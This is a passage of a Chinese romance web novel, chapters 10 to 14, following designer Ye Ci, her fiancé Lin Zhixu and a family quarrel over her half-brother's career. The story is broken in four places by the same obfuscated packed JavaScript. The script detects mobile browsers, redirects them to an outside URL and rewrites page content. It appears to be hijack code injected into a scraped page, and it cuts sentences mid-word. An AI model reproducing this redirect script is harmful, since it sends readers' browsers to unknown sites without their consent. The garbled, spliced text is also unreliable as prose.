叶瓷不是会客套的人,她轻轻展开布料,“这款双面提花的设计很新颖,但花回长度太短,超过50cm的连续图案就会断层。” 祁氏的设计主管连连点头,“叶总慧眼!我们正在调整织机程序。” 出了面料展区,叶瓷自然地转向其他客人,“请随我来看看成品陈列室。” 一行人乘电梯上楼,小于刚好也已经将玫瑰花插好了三个花瓶。 刚才微信提示音响个不停,她没时间看,这时拿起来,看见小群里多条未读消息。 周周今天也要努力:【啊啊啊啊天工丝绸的二公子来了!这身高!这腿!这西装!姐妹们我没了![附上一张模糊但难掩帅气的偷拍照]】 前台圆圆要减肥:【救命!!他笑起来还有小虎牙!!这是什么豪门甜宠文男主配置???】 财务小李要吃糖:【很好,人帅多金,我的做梦素材有了。】 周周今天也要努力:【我刚去送咖啡,近距离暴击!!我宣布,从今天起我是二公子激推!】 市场部莉莉:【[疯狂打字]他刚才在样品间摸面料的样子好认真!!这男人工作的时候也太性感了吧!!】 设计部小梁:【而且他说话好温柔!问我们工作累不累,还说我们设计很棒!这是什么天使客户??】 IT部:【[默默观察]二公子确实很有教养,不过你们能不能别一副要扑上去的样子……】 前台圆圆要减肥:【集美们大新闻!![手抖拍照.jpg]】 前台圆圆要减肥:【近照呈给各位姐妹。】 周周今天也要努力:【这谁?这气质??这碾压全场的存在感???】 财务小李要吃糖:【卧槽这西装这身材这脸!二公子突然不香了!】 设计部小梁:【救命,谁能告诉我这男人是谁?他从哪儿来的?这衿贵霸总的气场……】 小于点开群里的图片,叶瓷的行程都是她安排的,今天除了接待天工丝绸集团,没有其他的行程。 她想,莫非是来定制礼服的顾客? 消息还在狂轰滥炸。 财务小李要吃糖:【怎么办二公子突然像个小男孩。】 市场部俊俊:【对不起二公子,我刚才是年少无知,现在我才知道什么是真正的男人。】 财务小李不吃糖:【卧槽这个肩腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271023|182298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比!和西装人台一模一样!】 周周今天也要努力:【!!姐妹们,破案了破案了,他是咱们叶总的未!婚!!夫!!!】 财务小李要吃糖:【?】 市场部俊俊:【??】 IT部:【???】 前台圆圆要减肥:【????】 市场部莉莉:【叶总监订婚了?什么时候的事儿?】 设计部小梁:【姐妹儿这瓜保真吗?】 周周今天也要努力:【保真保真绝对保真,我们一行人从电梯出来,迎面就遇见了蔺总,妈呀,理想照进现实,我看过的所有言情小说里的霸总有具象了!!】 IT部:【@周周今天也要努力求你别打岔,赶紧汇报!】 周周今天也要努力:【叶总监当场就大大方方的介绍了,这是蔺之序,我未婚夫。】 【然后,我看见祁二公子这个小男孩和蔺总握了握手。】 设计部小梁:【@周周今天也要努力再然后呢?】 周周今天也要努力:【叶总监让蔺总去她的休息室。】 设计部小梁:【去顶层的休息室等她?怎么办感觉好甜呜呜】 前台圆圆要减肥:【啊啊啊这是我不花钱能看的吗!】 财务小李不吃糖:【建议直接送入洞房(bushi)】 前台圆圆要减肥:【@周周今天也要努力再再然后呢?】 周周今天也要努力:【叶总监让我去磨咖啡,所以,我现在正在磨咖啡。】 【我今天算是见识到了什么叫不动声色碾压全场,我宣布,从今天起我是叶总监和蔺总的CP粉头!!这对我锁死了!!钥匙吞了!!】 设计部小梁:【我道歉,我刚才鬼迷心窍,偷偷磕了祁二公子和叶总监,我忏悔!!】 IT部:【我也……忏悔!!】 周周今天也要努力:【下次擦亮眼睛,认准官配!】 IT部:【谁能让我吃瓜吃个明白,弱弱问一句蔺总是何许人?】 财务小李要吃糖:【给你个提示,京北蔺家,盛域集团。】 IT部:【明白了。】 市场部俊俊:【不过,叶总监什么时候订的婚?好神奇啊她每天那么忙,@叶总的小于你知道吗?】 小于猛不丁的被@,想了会儿,回复:【不知道。】 她也记不清叶瓷哪天休假了,不过,前段时间,蔺总家的司机过来送过钥匙。 ……原来那个时候就已经订婚了。 参观结束时已近正午。 在大厅里,天工丝绸的几位高管还在讨论面料相关的话题,祁誉自然落后半步,和叶瓷并肩,“叶总监平时都这么忙吗?” 叶瓷笑了下:“平常还好吧,只是最近这几个月要准备时装周,所以会特别忙一些。” 祁誉也笑,然后他从西装内袋取出一张名片:“我们最近收购了一家法国丝绸工坊,或许会对霓坊的设计有帮助。” 叶瓷接过名片,“谢谢,我会让面料部跟进。” 祁誉点头:“嗯。” 送走祁誉一行人,叶瓷转身往回走,随后按下直达顶层休息室的电梯。 11. 第11章 蔺之序正在编辑工作邮件内容。 五分钟后,点击发送。 工作告一段落,他放回手机,环顾这间不大的休息室。 休息室采光很充足,装修以米白色和浅木色为主。 墙上挂着几幅简约的线条画,角落里摆着一盆长势喜人的龟背竹,浅米色布艺沙发,柔软蓬松,扶手上搭着一条针织毯。 原木小圆桌上放着几本书,蔺之序看了眼书目,正是那天在叶宅书房,他帮她取的那几本。 客厅连着露台,旁边还有一小块健身区,放着一个可折叠的跑步机,瑜伽垫还有两个哑铃,软木板墙上钉着几张照片和健身计划表。 最后,蔺之序的目光落在了窗边的藤椅上,上面放着一个包装考究的深蓝色礼盒,系着银色缎带,盒子上的品牌标志——和他昨天收到的那份一模一样。 电梯到达顶层,“叮” 叶瓷走出来,穿过半个走廊,她的手刚放在门把手上,门就从里面打开了。 视线里,黑衣黑裤,衬得他身形愈发挺拔。 午后的阳光从他身后洒进来,在地板上拖下一道长长的影子。 蔺之序:“回来了。” 叶瓷点点头,“抱歉,让你等了这么久。”说着,她弯腰脱下脚上的高跟鞋,赤足踩在柔软的地毯上,从鞋柜里取出一双米色平底拖鞋。 换鞋时,她看到旁边的黑色男士皮鞋,和她的高跟鞋并排放着一起,像一对沉默的伴侣。 除了叶北庭,她的休息室还从未进过异性,蔺之序脚上穿的还是她之前为叶北庭准备的一次性家居鞋。 她想,以后要再添置一双男士家居鞋。 片刻,叶瓷来到厨房,厨房是开放式的设计,拐角的小吧台上放着咖啡机。 叶瓷问他,“要喝咖啡吗?” 蔺之序看着她准备操作咖啡机,“我来吧。” 说着,他走到她旁边,接过她手中的咖啡豆罐,“你去休息一会儿。” 他知道像这种招待客户参观的工作,是累心又累人的。 “哦。” 叶瓷侧身让出位置,两人的手臂在狭窄的空间里轻轻擦过。 “谢谢。”她退后一步,顺势坐在了旁边的高脚凳上。 看他在操作台前忙碌,片刻,她想起杯子还在吊柜里,于是走过去拿。 她平日里有收藏杯子的习惯,吊柜里摆放着各式各样的琉璃杯,骨瓷杯和粗陶杯。 她挑选了一会儿,最后拿出一对骨瓷杯。 这对杯子是她在意大利出差时买的,情侣款。 当时她也没有对象,还不认识蔺之序,只是感觉这对杯子很漂亮,于是就买了下来。 平时,她只用樱花粉釉的女款,午夜蓝釉的男款今天还是第一次被拿出来使用。 冲水清洗过后,她把两个杯子并排放在蔺之序手边。 咖啡还没好,叶瓷的目光不自觉地追随着他的身影。 黑色衬衣束进西裤,布料被肩线撑出锐利的折痕,转身间,勾勒出一道介于优雅与力量之间的轮廓,每一寸都恰到好处地收束进窄而紧实的腰线。 袖口挽至小臂中段,露出的腕骨嶙峋分明,青筋在皮肤下蜿蜒如暗河。 她注意到他的腕表——和她的是同个品牌,只是款式更为硬朗。 蔺之序手法娴熟地研磨咖啡豆,很快,深烘的豆子被研磨成均匀的粉末,簌簌落入滤杯。 旁边水壶腾起白雾,他垂眸开始注水,水流声和咖啡的香气很快充满了整个休息室。 “尝尝看。”他将那款樱花粉釉推到她面前,杯底与托盘轻触,发出极轻的脆响。 他自己留了蓝釉那款,刚才在冲咖啡时,他就留意到了,他对杯子没什么研究,不过,他想,眼前这两个杯子大概是情侣款。 叶瓷接过,奶泡在咖啡表面旋出羽毛纹路,她低头轻啜一口,咖啡的苦味中带着恰到好处的醇厚,好像比她平时自己冲的要好喝许多。 叶瓷笑了下,“没想到你还会做咖啡,而且还做的这么好。” 蔺之序也笑:“过奖了,以前跟家里的西点师傅学的。” 叶瓷点点头。 她发现自己真的对他了解甚少,看来两人很需要经常见面接触。 这时,蔺之序的手机响了,“我接个电话。” 他起身去了露台。 露台不算小,平时她喜欢坐在那儿画设计图,自己一个人的时候不觉得空间有多小,奈何他个头实在挺拔,叶瓷望过去,觉得露台都狭小局促了许多。 数分钟后,他折身回到客厅。 两人继续坐着喝咖啡,窗外有云浮过,房间忽然暗了一度。 蔺之序又抿了口咖啡,然后放下杯子,起身走向厨房的小冰箱,取出两个精致的玻璃食盒,“这是家里厨房阿姨做的桃胶燕窝羹和一些低糖甜点。” 叶瓷放下杯子也跟了过去,打开盒子,琥珀色的桃胶盛在玻璃盏里,旁边配着抹茶马卡龙。 她用小银匙搅了搅,糖水折射出细碎的光。 “谢谢。” 蔺之序:“昨天在餐桌上,见你比较喜欢这个——” 叶瓷笑着插话,“所以今天又给我带了?” 蔺之序也笑,然后点了下头。 冰箱放置的位置在吧台和玻璃门之间,空间狭小,两人的距离近得能感受到彼此的呼吸。 叶瓷闻到他领口沾染的咖啡香气,混合着淡淡的沉木香,莫名让人安心。 “婚房离这里不远。”蔺之序打破沉默,“就在你们公司对面的金融区,步行十五分钟。” 叶瓷抬头,眼中闪过一丝讶异:“你已经准备好婚房了?” “嗯,”蔺之序点点头,“订婚后,置办了几处。” 说着,他拿出手机,修长的手指在屏幕上轻点,“我现在把地址都发给你。” 蔺之序原想等两人结婚后再提这些,不过今天在她休息室,他感觉空间小了些,不如金融区的那套平层宽敞,各项功能也更齐全。 “有距离叶宅很近的,方便你随时回家,你们工作室附近这套平层,方便你上班,还有两套在如园附近,周末可以去住。” “入户密码都是你的生日,”蔺之序继续说,“门禁卡我放在门口玄关柜上了。” 说着,他指了指她身后玄关的斗柜。 叶瓷看过去,刚才进门时,她没留意。 两人离得近,她发梢的橙花香气混着咖啡味飘过来,今天她穿了一身烟灰色的西装套裙,内搭象牙白真丝衬衫,头发松松地挽在脑后。 此刻,几缕碎发垂在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271024|182298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳廓,圆润小巧的耳垂在白珍珠耳环后面若隐若现。 他这才发现,她今天戴得是他那天在叶宅送给她的耳环。 想到这里,蔺之序不动声色地滚了滚喉结。 “谢谢。”他听见她的声音轻得像咖啡杯上的热气。 她在为婚房的事情道谢,蔺之序看着她,“叶瓷,不要跟我说谢,我做的都是份内的事情。” 叶瓷点点头。 她一直觉得哥哥已经是很细心的一个人了,没想到蔺之序做事也是如此周到妥帖。 他的倒影在对面书柜的玻璃门上微微变形,和叶瓷的身影叠在一起。 蔺之序:“上午忙了那么久,累了吧?” “还行,”叶瓷放回食盒,看见他手里的咖啡也已经空了,于是问他,“要再来一杯吗?” 蔺之序笑了下,“不用了。” 见她也没有要续杯的意思,然后他说,“你去沙发上休息下,我来收拾这些。” 叶瓷没推辞,“嗯。” 回到沙发坐下,叶瓷下意识地又朝厨房看过去。 他正熟练地清洗滤杯,温壶,接着是擦拭台面。 望了会儿,叶瓷没忍住,“你居然会做这些?” 蔺之序语气平静,“从小家里教的。” 虽然出身豪门,可父母对他的教育却很严苛,能自己做的不要假手于人。 他至今仍记得祖父的告诫:人只有先打理好自己的天地,才有资格担起更大的担子。 也正是在这样的成长环境里,蔺之序做人做事的那份沉稳和细致远超同龄人。 厨房收拾过后,蔺之序走过来:“你休息吧。” 叶瓷起身,“嗯。” 蔺之序在电梯前转身,看见她站在门前光影交界处,整个人像幅莫兰迪静物画。 蔺之序:“走了。” 叶瓷摆手,“嗯,路上注意安全。” 蔺之序离开后,叶瓷坐进沙发里揉小腿肚。 今天上午为了搭配自己的套裙,她选的那双高跟鞋比平日里的要高,半天下来,小腿肚酸痛不已。 揉了会儿,她感觉有些累。 索性起身去冲了澡,然后回到卧室的床上躺着,临睡前,她拿起手机,给司机发消息:“张叔,下午帮我把车开去保养一下。” 看到对方回复,她又定了四点的闹钟,放回手机开始睡觉。 后来,她被一通电话吵醒。 叶北庭:“在忙吗?” 叶瓷翻了个身,“我在睡觉。” 叶北庭看时间,这很不像她的午休风格,“……没事,你接着睡吧。” 叶瓷缓缓睁开眼,三点四十了,睡意也没剩多少了,顺手关闭了闹钟,她坐起来,“我不睡了,怎么了哥哥?” 叶北庭:“我刚从沪城回来,给你带了些吃的,司机已经去送了,估计二十分钟就到。” 叶瓷好奇:“什么好吃的?” 叶北庭笑:“红宝石奶牛小方,感觉你会喜欢。” 叶瓷:“嗯。” 四点半有客户过来试礼服,叶瓷在试衣间忙到快六点,好几天没见哥哥了,她决定今天回家吃晚饭。 张叔去保养车还没回来,她从办公室抽屉里翻出另一辆黑色奔驰的车钥匙,拿包去了地下车库。 12. 第12章 暮色四合,叶瓷的车缓缓驶入叶宅大门。 车轮碾过精心铺设的碎石车道,发出细微的咯吱声。 “小姐回来了。” 和叔的声音适时响起。 “嗯。” 叶瓷应声,目光落在旁边的迈巴赫上,下午五点钟时,叶北庭的司机给她送东西,说少爷在公司忙着开会。 “和叔,哥哥今天怎么这么早就回来了?” 和叔:“少爷晚上有应酬,小赵开了另一辆车和他去了。” 叶瓷:“哦。” 推门进去,餐厅方向飘来一阵食物香气。 “小瓷回来啦!”秦姨系着围裙,正从保温罩里端出一盘热气腾腾的蟹粉狮子头。 “快洗洗手,菜刚上桌,都是你爱吃的!” 叶瓷笑:“谢谢秦姨,辛苦了。我上去冲个澡换身衣服。” 在衣帽间,叶瓷选了条舒适宽松的米白色长裙,吹干头发,简单在耳后抹了点带柑橘尾调的香水,便再次下楼。 餐厅灯火通明。 她在自己的固定座位前坐下,刚拿起筷子—— 餐厅另一侧的门,被无声推开。 一个身影出现在门口。 看清来人,叶瓷的筷子悬停在半空。 叶瓷已经很长时间都没见过她了,最近的一次还是在数年前父亲的葬礼上。 段敏佳走过来,高跟鞋“叩、叩”地敲在地面上。 近了,她看一眼餐桌,“我是不是来得不是时候?” 叶瓷:“没有,段姨,你吃晚饭了吗?坐下来一起吃吧?” 转脸,她让秦姨添碗筷,段敏佳摆手,“不用了,我已经吃过了。” 段敏佳自己拉开椅子坐下,“前段时间,听说你订婚了,这么大的喜事,我也没收到请柬,还是后来听阿湛提起,我才知道。” 叶瓷放下筷子,抬眼迎上她的目光,“只请了至亲。” “这样哦。”段敏佳表情微动,她问过叶湛,叶瓷订婚那天,叶北庭自不必说,温翎是提前两天从苏黎世回来的。 不过,稍微让她欣慰的是,叶溦和叶湛也出席了。 除了她这个外人。 段敏佳从手袋中取出一个丝绒首饰盒,盒子不大,方方正正,上面印着一个烫金的花体字母组成的品牌Logo,低调地彰显着价值。 她将首饰盒推到叶瓷手边,“总归是喜事,这是我的一点心意。” 叶瓷没有推辞,笑道,“段姨破费了,谢谢。” 段敏佳也笑:“你能收下,我很高兴。” “小瓷,我今天来,其实主要是为了阿湛。” 叶瓷:“阿湛怎么了?” 段敏佳:“他在公司,在基层那个项目部,已经熬了快半年了。风吹日晒的,天天跟图纸钢筋打交道,人都瘦了一圈。你大哥——” 段敏佳提到“大哥”两个字时,微妙地滞了一下。 “你大哥到底是怎么打算的?阿湛也是叶家的儿子,是正经的叶家少爷,难道就让他一直这样在工地上摸爬滚打?这像什么样子?” 说完,她紧紧盯着叶瓷,仿佛叶瓷是那个能左右叶北庭决定的关键人物。 “段姨,”叶瓷抬眼,“公司的事,我从不插手。” 她顿了顿,清晰地看到段敏佳眼底掠过一丝不信和不满。 “大哥的安排,自然有他的道理。我想,让阿湛从基层做起,熟悉每一个环节,了解公司真正的运作基础,这对阿湛的未来没有坏处。” 叶瓷的话点到即止,没有替叶北庭解释更多,也没有试图安抚段敏佳的情绪,只是划清了自己的立场。 “道理?” 段敏佳的声音陡然拔高,尾音带着尖利的颤抖,“什么道理?打压异己的道理吗?” “叶瓷,你是他亲妹妹,他当然事事护着你!可阿湛呢?溦溦呢?我们娘仨在他眼里算什么!” “叶家这么大产业,难道将来就全是他叶北庭一个人的?阿湛也是叶家的血脉!凭什么就要被踩在泥里,连一点像样的机会都不给?你父亲要是还在——” “妈!” 一道急促声音打断了段敏佳。 餐厅入口处,是叶湛慌乱的身影。 显然,他是匆匆赶来,额角还带着汗。 他快步走近,目光迅速在叶瓷和段敏佳之间扫过。 终于,“妈,你怎么跑这儿来了?不是说好等我电话的吗?” 段敏佳被儿子打断,那股冲顶的怒气一时滞住,但眼底的怨愤并未散去。 她看向叶湛,“阿湛!你来得正好,你听听,你听听!” “你把叶北庭当亲大哥敬着,他呢?他拿你当亲弟弟看了吗?他把你放在那个鬼地方不闻不问,这算怎么回事?!” 叶湛脸上掠过尴尬,他下意识地看了一眼长桌对面的叶瓷。 叶瓷已经站起来,“段姨,阿湛,你们聊。” “我还有事,先上去了。” 餐厅里只剩下段敏佳和叶湛两人。 段敏佳看眼楼上,“她永远这副样子!订婚宴故意不请我,现在呢,表面上看是把自己置身事外,事实上就是在维护叶北庭!” “妈……“ 叶湛的声音压得很低,他扶着段敏佳的肩膀,“在项目部虽然辛苦点,但接触的都是核心业务,我真的学到很多东西,不是您想的那样,我也没觉得委屈,大哥他对我挺好的。” “好?” 裴敏佳被儿子扶着坐下,胸口的郁气却无处发泄,她猛地甩开叶湛的手,“他对你好?他对你好就让你在工地上吃灰?让你跟那些工人挤在一起?让你连个像样的办公室都没有?” “阿湛!你醒醒吧!” “叶家这么大的家业,你也是名正言顺的继承人,他叶北庭现在处处卡着你,就是怕你将来分他的权,夺他的势!” 她越说越激动,手指用力地点着桌面,保养得宜的指甲几乎要在光洁的桌布上戳出印子。 “妈妈都是为了你,我不想我一辈子在叶家都抬不起头,说不上话!更不想你一辈子都被他压着,什么都争不过!你懂不懂?” 叶湛看着母亲微微泛红的眼眶,心头涌上一股复杂的酸涩。 他太了解母亲了。 她的野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271025|182298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,她的不安,她对“叶家太太”这个身份近乎偏执的捍卫。 叶湛反手握住母亲颤抖的手腕,闻到她身上香水也掩盖不住的焦虑。 这种味道总让他想起父亲病榻前,母亲伏在遗嘱上痛哭时,香水混着消毒水的气味。 “项目部很好。”他压低声音,拇指抚过母亲腕间绷紧的筋络,“上周刚独立完成钢结构验收。” 段敏佳:“验收?你该验收的是董事会席位!” “叶北庭二十五岁就接管了地产事业部,你呢?在工地上吃灰!” “妈……” 叶湛的声音放得很柔,像哄一个闹别扭的孩子,“您看看您,是不是又没按时吃晚饭?难怪火气这么大,一点就着。” 他微微用力,搂了搂她的肩膀,“走吧,我陪你出去吃点东西,这个点‘和苑’应该还没打烊。” 段敏佳看着自己儿子,终于叹出一口气,很快,母子俩的身影穿过门厅,隐入夜色。 餐厅里只剩下满桌精致的菜肴,在明亮的水晶灯光下,散发着袅袅热气,像一个被遗忘的徒劳盛宴。 楼上,走廊尽头那扇厚重的橡木门内,一片寂静。 没有开顶灯,只有梳妆台前一盏小小的光线柔和的台灯亮着,在镜子里投下一圈温暖光晕。 叶瓷安静地坐着,直到听见车库方向跑车的轰鸣出了院子。 她知道,阿湛带着段敏佳离开了。 又坐了会儿,她拿起梳妆台上的手机和车钥匙,拉开房门走了出去。 楼下,餐厅里的灯还亮着。 秦姨正收拾着没被动过的菜肴,脸上带着惋惜和忧色,听到脚步声从楼梯上下来,她连忙抬起头。 “小瓷?这……” 秦姨看着她一副要外出的样子,“你要出门吗?饭还没吃呢,秦姨给你热热——” “不吃了,秦姨。”叶瓷脚步未停,声音干脆利落。 “小姐,”和叔从旁厅快步走出,脸上关切忧虑,“这么晚了,你要去哪儿?” 叶瓷:“回工作室。” 和叔:“少爷也快回来了,你等他来了——” 叶瓷知道他在担心自己,语气尽量平静,“和叔,我工作室还有点儿工作没处理完。” 和叔似信非信,看着她开车又出去了。 叶瓷回到工作室,刺绣工坊还亮着灯,有三个刺绣师在赶工客户的礼服。 她推门进去,看了会儿工作进展,出来时,她在手机上打开点餐软件,然后翻到大家经常点的那家餐馆,点了三份外卖。 “小周,外卖十分钟后到,我留的是你的手机号。” 小周抬头,“谢谢叶总。” 出了刺绣工坊,她乘电梯来到顶层的休息室。 在入门处弯腰换鞋时,她突然想起来,要买一双男士家居鞋。 于是,打开购物软件,她着手挑选款式。 很快,她挑到了两款心仪的,凭借着今天中午的印象,她选好尺码正准备下单,又觉得还是问问蔺之序比较好。 打开两人的对话框,她将两个款式的图片发给了他,【你喜欢哪一个?】 13. 第13章 蔺之序正在准备跨国视频会议,屏幕上,高管头像逐一亮起。 距离正式开始,还有两分钟。 等待的间隙,他无意间垂眸看了眼手机屏幕,然后就看到叶瓷发来的消息。 购物截图上是两款男士家居鞋。 他目光微顿,想起今天上午在她的休息室,鞋柜里只有几双一次性男士拖鞋,他当时换鞋时,脑子里闪过,这大概是她为叶北庭准备的。 “蔺总,会议时间到了。” 蔺之序抬头,“好的。” 边应着,他快速回复:【你选一个吧。】 几乎是同时,叶瓷:【好的】 退出对话框,叶瓷开始下单,数分钟后,她放回手机。 叶瓷有睡前画图的习惯。 桌上摊开的设计稿是一条曳地长裙,她握着笔,指尖在纸上轻轻摩挲,思考着裙摆的弧度是否足够自然。 然而,专注的状态没能持续太久。 胃里传来一阵细微的抗议。 叶瓷搁下笔,揉了揉太阳穴,起身走向冰箱。 冰箱门无声滑开,冷藏室上层,一只剔透的琉璃盅安静地立在那里。 是蔺之序上午给她带的桃胶燕窝羹。 她伸手取出,揭开盖子,琥珀色的胶质微微颤动,几缕鲜嫩的燕窝丝缠绕其间。 放进微波炉加热。 “叮——” 片刻,叶瓷端着重新变得温热的琉璃盅,赤脚走回落地窗边,蜷进那张宽大的藤椅里。 她小口尝着,甜意化开,一路滑到空荡的胃里。 窗外,城市灯火如星河倾泻。 望了会儿,她放下琉璃盅,拿起放在沙发扶手上的手机,对着窗外那片浮动的流光,随意地按了几次快门。 照片里的万家灯火模糊而朦胧,像是隔着一层薄雾,却又意外地有种流动的美感。 没有文案,她将这几张夜景丢进了沉寂已久的朋友圈。 手机放回沙发垫上,她重新端起琉璃盅。 “笃笃笃。” 敲门声很有节奏。 哥哥? 叶瓷快步走向门口,拉开门,正是叶北庭。 他一手插口袋里,另一只手拎着一个印着中式糕点铺标志的纸袋。 那张与叶瓷有几分相似的俊雅面容上,带着不易察觉的疲惫,在看到她的瞬间,温润的眼底立刻浮起笑意。 “小瓷。” “哥哥,”叶瓷侧身让他进来,“这么晚了你怎么来了?” 叶北庭走进室内,顺手将糕点袋放在玄关柜上,目光快速扫过妹妹的脸,确认她无恙后,才轻轻松了口气。 “刚应酬完回家,听和叔说,晚上段阿姨过去了?”他脱下西装,“还说你晚饭也没吃?” “嗯,聊了几句她就走了。”叶瓷走回沙发,端起那半碗桃胶燕窝羹,“不饿,垫了点这个。” 叶北庭在她对面的沙发坐下,目光在那精致的琉璃盅上停顿了一瞬:“她都跟你说什么了?是不是说了让你为难的话?” 叶瓷放下勺子,拿起水壶给叶北庭倒了杯水,“你应酬完不休息,就为这事跑一趟?” “不放心。” 叶北庭接过水杯,简单地说了三个字。 叶瓷轻轻摇头,“她说什么,都影响不了我。” 叶北庭看她,“没有影响你?那为什么饭也不吃又回来了?” 她从小就是那种情绪稳定,内心自洽到近乎疏离的女孩子。 在叶北庭的记忆里,他很少见妹妹有情绪失控的时候。 这一点,她和温翎真的很像。 可正是这份过分的冷静,反而让他更加放心不下。 就像此刻,当他结束应酬回到老宅,听和叔说起段敏佳来过,妹妹连晚饭都没吃就独自回了工作室时,那股熟悉的担忧又涌了上来。 于是,他连客厅都没进去,就开车过来找她。 叶瓷抬眼,终于,“哥哥,阿湛在基层做得很辛苦。” 叶北庭听她这样说,对于段敏佳今晚会说些什么也已经了然。 叶北庭:“他刚毕业,到基层历练历练是件好事。” 叶瓷:“可段姨不那么想,她——” 叶北庭:“她怎么想的,我很清楚,阿湛是我们的弟弟,我不会害他的。” 叶北庭知道,妹妹从来不过问公司的事情,她全部的兴趣和精力都在她自己的工作室。 思及此,他不想再继续这个话题,随即话锋一转,“前阵子我去德国谈项目,结束后转道去了趟苏黎世。” 叶瓷倒水的动作顿住了,“你去看妈妈了?” 叶北庭:“嗯,她刚谈成一个重要的艺术基金合作项目。” 窗外的霓虹光影流淌在叶瓷的侧脸上。 温翎离婚后远走瑞士,并不是疗伤或隐居,而是迅速在陌生的国度重新建立起了自己的艺术经纪王国。 母女之间,隔着遥远的距离,相处模式也渐渐变得疏离。 那天的订婚仪式上,温翎一身干练的香奈儿套装出现,得体地扮演了女方家长的角色,停留了三天,陪了外公两天,又匆匆离开。 临行前,也只是握着她的手说:“结婚时,妈妈一定到。” 叶北庭了解叶瓷的性子,也不多说,而是温和地补充道:“妈妈还是老样子,事业是她的氧气。不过你订婚,她挺高兴的。” 说着,他从带来的糕点纸袋里拿出一个精致的铁盒打开,里面是码放整齐的杏仁瓦片。 “这是她特意让我带给你的,说你小时候爱吃。不过,她自己肯定没时间烤,八成是让助理去老铺子买的。” 叶瓷的目光落在那熟悉的杏仁瓦片上。 她拿起一片,薄脆的饼干在指尖发出轻微的碎裂声。 咬了一小口,是苏黎世那家百年老店的味道。 突然,她想起什么来,“哥哥,你下午不是说才从沪城回来吗?” 还让司机给她送了好吃的。 叶北庭笑,“昨天就回国了,在沪城分公司处理了些工作。” 叶瓷:“哦。” —— 盛域集团顶层总裁办公室。 巨大的弧形办公桌后,蔺之序刚刚结束了冗长的视频会议。 他起身走向角落的恒温酒柜,取了几块冰,拧开一瓶矿泉水倒进去。 冰冷的液体滑过喉咙,带来短暂的清醒。 走到沙发旁拿过手机。 开会前,叶瓷和他聊了两句,刚才手机一直静音状态,他怕她后来又发什么消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蔺之序是少数拥有专属包间和随时点单特权的贵宾,这个时间点打包如此精细的菜品……潘岩深知老板的风格,按下内心好奇,不多问,高效执行。 夜色已深。 蔺之序站在御膳轩门口,身影被廊灯映得愈发颀长。 他抬手看了眼表,九点四十五分。 “蔺总。” 经理快步迎上来,身后跟着两个服务生,手里提着印有餐厅logo的食盒。 “按您的要求,避风塘炒蟹现做的,龙虾刺身用的今早空运的澳洲龙虾,东星斑也是现杀的。” 蔺之序微微颔首,夜风拂过他利落的短发,有几缕不听话地垂落在前额,却丝毫不减他周身散发的沉稳气场。 “保温做得如何?”他手指在食盒上轻轻一触,确认温度。 “用了三层保温材质,至少四十分钟,保证送到时和刚出锅一样。”经理道,“姜醋汁单独包装,按您的吩咐,配了温过的花雕。” 蔺之序从西装内袋取出皮夹,抽出一张黑卡递过去。 经理:“不必了蔺总,已经记在您的账上了——” “给后厨的。”蔺之序把卡放在对方手里,转身走向路边那辆黑色轿车。 打开车门,他将食盒小心地放在副驾上,导航定位霓坊工作室。 引擎发出低沉的轰鸣,很快,车身滑入夜色。 深夜的街道很空,但他车速始终压在限速线下。 等红灯时,为避免海鲜凉掉,他伸手又调高了空调温度。 14. 第14章 叶瓷和叶北庭聊着天,不一会儿,桃胶燕窝也吃完了。 她起身准备去厨房,叶北庭伸过手,“我来吧。” 刚才在她面前放着,他没留意,现在拿在手里,感觉不像自己家里常用的那几个,于是随口说了句,“秦姨又添置了琉璃盅。” 叶瓷:“这是蔺之序给我带的。” 叶北庭哦了声,脸上带了笑,他还以为这燕窝是秦姨做的。 既然是蔺之序送的,看来两人相处得还不错。 厨房水声传来,叶瓷拿起手机看明天的工作安排,正看着,手机嗡嗡振动起来,屏幕上显示来电:蔺之序。 叶瓷划开接听,听筒里磁沉声音落下,“叶瓷,在忙吗?” 叶瓷:“没有,…怎么了?” 蔺之序:“现在方便我过去吗?” 叶瓷看了眼时间,两人还没有这么晚联系过,“是有什么事吗?” 电话那头有极短的停顿:“给你送粤式海鲜。” 叶瓷微微一怔。 昨天在蔺宅的时候,她好像说了句想吃粤式海鲜,不过一天忙碌下来,她都已经将这事忘了。 没想到他还记得。 “太麻烦你了,让司机跑一趟就行。” 蔺之序:“没关系,还是我去吧。” 叶瓷:“……那好。” 蔺之序:“我大概十分钟后到。” 叶瓷:“好的。” 